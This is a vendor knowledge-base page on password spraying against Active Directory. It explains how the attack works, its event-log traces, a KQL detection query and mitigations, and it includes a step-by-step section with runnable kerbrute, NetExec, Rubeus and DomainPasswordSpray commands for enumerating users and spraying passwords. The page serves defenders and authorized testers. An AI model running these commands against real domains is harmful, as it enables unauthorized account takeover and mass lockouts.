1. Resources
  2. Identity Threats
  3. Active Directory

Password Spraying

Also known as: Password spray, Horizontal brute force, Low-and-slow password guessing

An attacker tries one or two common passwords against every domain account, staying under the lockout threshold, until one account signs in.

Platform
Active Directory
Impact
Medium
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: No account
Network access to a domain controller or to a front end that validates domain passwords (OWA, AD FS, VPN), and a list of usernames. No account is needed.
What the attacker gains
Valid passwords for one or more domain accounts, usually standard users, which give the attacker an authenticated foothold.
Threat groups
AgriusAPT28APT29APT33ChimeraEmber BearHAFNIUMHEXANELazarus GroupLeafminerNIMBUS MANTICORESilent LibrarianAPT3APT5and 16 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1110.003, T1078.002.

How it works

Password spraying is an identity-based attack on the weakest passwords in a domain rather than on one account. In any large directory a few people have a password like the season and the year or the company name with a digit. The attacker does not need to know who; trying the same guess against everyone finds them.

Account lockout is a per-account control. It has three settings: the threshold (failed attempts before lockout), the duration, and the reset interval after which the failure counter returns to zero. A spray stays under the threshold by sending one or two guesses per account per reset interval. A threshold of zero disables lockout and removes even that limit. Fine-grained password policies can give some users a different threshold, so the effective policy is per account.

A domain password can be tested through several doors, and each leaves different evidence:

Path What the attacker sends Where it is validated
Kerberos An AS-REQ with an encrypted timestamp, straight to the KDC on port 88 Domain controller
NTLM over SMB, LDAP, WinRM or MSSQL An NTLM authentication to any domain member Domain controller, through the member
Web front ends A form or Basic authentication to OWA, AD FS, a VPN portal or a reverse proxy Domain controller, through the front end

The Kerberos path is popular because it needs no SMB session, is fast, and does not produce the failed logon event (4625) that many teams watch. Kerberos also separates unknown names from wrong passwords, so the attacker can validate the username list first without spending a single password attempt.

Spraying against Microsoft Entra ID has its own controls (smart lockout, Conditional Access) and its own logs; see Entra ID password spraying. Using username and password pairs from a breach rather than one shared guess is credential stuffing.

Prerequisites

  • Network access to something that validates domain passwords: a domain controller on port 88, any domain member that accepts NTLM, or an internet-facing front end.
  • A list of usernames. From inside, any domain account can export it over LDAP. From outside, names come from email addresses, naming conventions and Kerberos username enumeration.
  • At least one account with a guessable password. Password complexity rules do not prevent this: Autumn2026! satisfies them.
  • Knowledge of the lockout policy, to stay under it. Without it the attacker either guesses conservatively or locks accounts.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Read the lockout policy

With a domain account:

Get-ADDefaultDomainPasswordPolicy | Select-Object LockoutThreshold, LockoutDuration, LockoutObservationWindow, MinPasswordLength
Get-ADFineGrainedPasswordPolicy -Filter *
nxc smb 192.0.2.10 -u alice -p 'Password' --pass-pol

Without one, a domain controller that allows null sessions returns the policy to nxc smb 192.0.2.10 -u '' -p '' --pass-pol.

2. Build the user list

# Enabled users with their current failure count, to skip accounts already close to lockout
Get-ADUser -Filter 'Enabled -eq $true' -Properties badPwdCount |
    Select-Object SamAccountName, badPwdCount
# Export the user list over SMB
nxc smb 192.0.2.10 -u alice -p 'Password' --users-export users.txt

# No account: confirm which candidate names exist, without a password attempt
kerbrute userenum -d corp.example.com --dc 192.0.2.10 candidates.txt

3. Spray one password

Over Kerberos, from any host that can reach a domain controller:

# --safe aborts as soon as an account comes back locked out
kerbrute passwordspray -d corp.example.com --dc 192.0.2.10 --safe users.txt 'Autumn2026!'

# One attempt every 500 ms, single thread
kerbrute passwordspray -d corp.example.com --dc 192.0.2.10 --delay 500 users.txt 'Autumn2026!'

Over NTLM against an SMB server:

nxc smb 192.0.2.10 -u users.txt -p 'Autumn2026!' --continue-on-success

# Username as the password, one pair per line
nxc smb 192.0.2.10 -u users.txt -p users.txt --no-bruteforce --continue-on-success

From a domain-joined Windows host:

# Rubeus: Kerberos, user list from a file, do not keep the TGTs
.\Rubeus.exe brute /password:Autumn2026! /users:C:\temp\users.txt /domain:corp.example.com /noticket /outfile:C:\temp\valid.txt

# DomainPasswordSpray: builds the user list itself and leaves out accounts close to lockout
Invoke-DomainPasswordSpray -Password 'Autumn2026!' -OutFile sprayed-creds.txt

4. Wait, then repeat

After each password, wait longer than the lockout observation window so the counters reset, then spray the next guess. A patient spray runs for days with a handful of passwords.

5. Use the accounts that worked

Each hit is a valid domain account. From there the attacker runs reconnaissance, Kerberoasting, or signs in to mail and VPN.

Impact

A successful spray gives the attacker working domain credentials, which is the step from outside to inside. Most hits are standard users, so the direct damage is that user's mailbox, files and VPN access. The larger effect is what an authenticated account unlocks: the whole directory becomes readable and every attack that needs "any domain user" becomes available.

Sprays also cause collateral damage. A careless run locks out hundreds of accounts at once, which is an outage in its own right and often the first thing defenders notice.

OPSEC and artifacts

  • Staying under the threshold. One guess per account per observation window avoids lockouts and event 4740. What remains: every wrong guess still writes a failure event on a domain controller, and still increments badPwdCount on the account.
  • Kerberos instead of SMB. A Kerberos spray produces no event 4625 and no logon session anywhere. What remains: event 4771 with failure code 0x18 (wrong password) for every account, with the client address, and event 4768 for every hit. Names that do not exist produce 4768 failures with code 0x6; locked or disabled accounts produce code 0x12.
  • NTLM sprays write event 4776 on the validating domain controller (status 0xC000006A for a wrong password, 0xC0000064 for an unknown user, 0xC0000234 for a locked account) and event 4625 on the member that was contacted. Event 4776 names the source workstation, which is a name the client chooses.
  • Slow and distributed. Spreading attempts over hours and over many source addresses defeats thresholds that count failures per source per window. What remains: the reverse view. Many accounts that each fail once within the same period, with nothing else in common, is still unusual when counted across all sources.
  • Front ends. Spraying OWA or AD FS from the internet hides the attacker behind the front end: the domain controller sees the Exchange or AD FS server as the client. The real client address is in the IIS log or the AD FS audit events.
  • Skipping risky accounts. Tools drop accounts whose badPwdCount is near the threshold. Reading that attribute for every user is itself a broad LDAP query.

Detection

WindowsEvent
| where Channel == "Security" and EventID == 4771
| where tostring(EventData.Status) in~ ("0x18", "24")
| extend UserName = tostring(EventData.TargetUserName), Source = tostring(EventData.IpAddress)
| where isnotempty(UserName)
| summarize UserNames = dcount(tolower(UserName)), Records = count()
    by Computer, Source, bin(TimeGenerated, 30m)
| where UserNames >= 5
| order by UserNames desc
  • Failed logons on members. Event 4625 shows NTLM sprays on the server that was contacted. It is blind to a Kerberos spray, so it cannot be the only rule.
  • Username enumeration first. Event 4768 failures with code 0x6 in bulk from one address. See the Kerberos account enumeration rules.
  • Lockout waves. Several 4740 events in a short time point to a spray that misjudged the policy. The password guessing rules cover the single-account case.
  • A success in the middle of failures. A successful 4768 or 4624 from a source that has just failed for dozens of other accounts is the hit. Reset that account at once.
  • AD FS and OWA. Use the front end's own logs for the real client address. The AD FS password spraying rules read the AD FS audit events.

The thresholds are starting values. Shared egress addresses, terminal servers and a service with a stale password also fail for many accounts or many times; compare with the source's normal behavior. Fixed time bins can split one spray in two, and a slow spray needs a window of hours, not minutes.

Mitigation

  • Ban the passwords that sprays use. Microsoft Entra Password Protection for Active Directory Domain Services rejects common and custom-listed passwords at change time on domain controllers. Password length and complexity rules alone do not.
  • Require MFA on every external entry point: VPN, OWA, AD FS and remote desktop gateways. A sprayed password should not be enough to get in from the internet.
  • Remove password-only front ends. Disable legacy and Basic authentication on Exchange, and turn on AD FS extranet smart lockout so that the federation service stops guesses before they reach a domain controller.
  • Set a lockout policy with both sides in mind. A threshold of zero gives a sprayer unlimited speed; a very low one lets anyone lock out the company. Check the effective policy on privileged accounts and accounts under fine-grained policies.
  • Protect privileged accounts separately. Long unique passwords, smart card or passwordless sign-in, and no sign-in from exposed services. The Active Directory hardening guide covers the tiering that keeps a sprayed user account from reaching Tier 0.
  • Find the weak passwords first. Run your own audit of password quality and force a change where it fails.
  • Audit. Enable failure auditing for Kerberos Authentication Service and Credential Validation on domain controllers, and Logon on members. The audit policy guide lists the settings.

Detection rules for this attack

Log events to collect

FAQ

How is password spraying different from brute force?

Classic brute force tries many passwords against one account and runs into the lockout threshold after a few attempts. Spraying turns that around: one password against many accounts, then a pause, then the next password. No single account collects enough failures to lock, so per-account alerts never fire.

Does account lockout stop password spraying?

It limits the pace, not the attack. A sprayer reads the lockout policy, keeps one or two attempts per account inside each observation window, and waits for the counter to reset. Lockout forces the attack to be slow; banned-password screening and MFA are what make the guesses fail or the successes useless.

Which events show a password spray in Active Directory?

It depends on the protocol. A Kerberos spray writes event 4771 with failure code 0x18 on domain controllers, and no 4625 at all. An NTLM spray writes event 4776 with status 0xC000006A on the domain controller and event 4625 on the server that was contacted. In both cases the pattern is one source failing for many different accounts.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.